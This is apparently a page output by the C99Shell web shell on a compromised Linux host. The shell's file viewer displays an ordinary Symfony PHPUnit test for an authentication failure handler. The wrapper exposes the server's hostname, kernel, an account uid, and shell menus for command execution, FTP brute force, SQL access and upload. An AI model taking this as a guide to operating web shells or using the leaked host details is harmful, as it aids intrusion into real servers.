!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Security/Symfony/Component/Security/Http/Tests/Authentication/   drwxr-xr-x
Free 293.92 GB of 429.69 GB (68.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DefaultAuthenticationFailureHandlerTest.php (6.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Security\Http\Tests\Authentication;

use 
Symfony\Component\Security\Http\Authentication\DefaultAuthenticationFailureHandler;
use 
Symfony\Component\Security\Core\SecurityContextInterface;
use 
Symfony\Component\HttpKernel\HttpKernelInterface;

class 
DefaultAuthenticationFailureHandlerTest extends \PHPUnit_Framework_TestCase
{
    private 
$httpKernel null;

    private 
$httpUtils null;

    private 
$logger null;

    private 
$request null;

    private 
$session null;

    private 
$exception null;

    protected function 
setUp()
    {
        
$this->httpKernel $this->getMock('Symfony\Component\HttpKernel\HttpKernelInterface');
        
$this->httpUtils $this->getMock('Symfony\Component\Security\Http\HttpUtils');
        
$this->logger $this->getMock('Psr\Log\LoggerInterface');

        
$this->session $this->getMock('Symfony\Component\HttpFoundation\Session\SessionInterface');
        
$this->request $this->getMock('Symfony\Component\HttpFoundation\Request');
        
$this->request->expects($this->any())->method('getSession')->will($this->returnValue($this->session));
        
$this->exception $this->getMock('Symfony\Component\Security\Core\Exception\AuthenticationException');
    }

    public function 
testForward()
    {
        
$options = array('failure_forward' => true);

        
$subRequest $this->getRequest();
        
$subRequest->attributes->expects($this->once())
            ->
method('set')->with(SecurityContextInterface::AUTHENTICATION_ERROR$this->exception);
        
$this->httpUtils->expects($this->once())
            ->
method('createRequest')->with($this->request'/login')
            ->
will($this->returnValue($subRequest));

        
$response $this->getMock('Symfony\Component\HttpFoundation\Response');
        
$this->httpKernel->expects($this->once())
            ->
method('handle')->with($subRequestHttpKernelInterface::SUB_REQUEST)
            ->
will($this->returnValue($response));

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils$options$this->logger);
        
$result $handler->onAuthenticationFailure($this->request$this->exception);

        
$this->assertSame($response$result);
    }

    public function 
testRedirect()
    {
        
$response $this->getMock('Symfony\Component\HttpFoundation\Response');
        
$this->httpUtils->expects($this->once())
            ->
method('createRedirectResponse')->with($this->request'/login')
            ->
will($this->returnValue($response));

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils, array(), $this->logger);
        
$result $handler->onAuthenticationFailure($this->request$this->exception);

        
$this->assertSame($response$result);
    }

    public function 
testExceptionIsPersistedInSession()
    {
        
$this->session->expects($this->once())
            ->
method('set')->with(SecurityContextInterface::AUTHENTICATION_ERROR$this->exception);

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils, array(), $this->logger);
        
$handler->onAuthenticationFailure($this->request$this->exception);
    }

    public function 
testExceptionIsPassedInRequestOnForward()
    {
        
$options = array('failure_forward' => true);

        
$subRequest $this->getRequest();
        
$subRequest->attributes->expects($this->once())
            ->
method('set')->with(SecurityContextInterface::AUTHENTICATION_ERROR$this->exception);

        
$this->httpUtils->expects($this->once())
            ->
method('createRequest')->with($this->request'/login')
            ->
will($this->returnValue($subRequest));

        
$this->session->expects($this->never())->method('set');

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils$options$this->logger);
        
$handler->onAuthenticationFailure($this->request$this->exception);
    }

    public function 
testRedirectIsLogged()
    {
        
$this->logger->expects($this->once())->method('debug')->with('Redirecting to /login');

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils, array(), $this->logger);
        
$handler->onAuthenticationFailure($this->request$this->exception);
    }

    public function 
testForwardIsLogged()
    {
        
$options = array('failure_forward' => true);

        
$this->httpUtils->expects($this->once())
            ->
method('createRequest')->with($this->request'/login')
            ->
will($this->returnValue($this->getRequest()));

        
$this->logger->expects($this->once())->method('debug')->with('Forwarding to /login');

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils$options$this->logger);
        
$handler->onAuthenticationFailure($this->request$this->exception);
    }

    public function 
testFailurePathCanBeOverwritten()
    {
        
$options = array('failure_path' => '/auth/login');

        
$this->httpUtils->expects($this->once())
            ->
method('createRedirectResponse')->with($this->request'/auth/login');

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils$options$this->logger);
        
$handler->onAuthenticationFailure($this->request$this->exception);
    }

    public function 
testFailurePathCanBeOverwrittenWithRequest()
    {
        
$this->request->expects($this->once())
            ->
method('get')->with('_failure_path'nulltrue)
            ->
will($this->returnValue('/auth/login'));

        
$this->httpUtils->expects($this->once())
            ->
method('createRedirectResponse')->with($this->request'/auth/login');

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils, array(), $this->logger);
        
$handler->onAuthenticationFailure($this->request$this->exception);
    }

    public function 
testFailurePathParameterCanBeOverwritten()
    {
        
$options = array('failure_path_parameter' => '_my_failure_path');

        
$this->request->expects($this->once())
            ->
method('get')->with('_my_failure_path'nulltrue)
            ->
will($this->returnValue('/auth/login'));

        
$this->httpUtils->expects($this->once())
            ->
method('createRedirectResponse')->with($this->request'/auth/login');

        
$handler = new DefaultAuthenticationFailureHandler($this->httpKernel$this->httpUtils$options$this->logger);
        
$handler->onAuthenticationFailure($this->request$this->exception);
    }

    private function 
getRequest()
    {
        
$request $this->getMock('Symfony\Component\HttpFoundation\Request');
        
$request->attributes $this->getMock('Symfony\Component\HttpFoundation\ParameterBag');

        return 
$request;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0989 ]--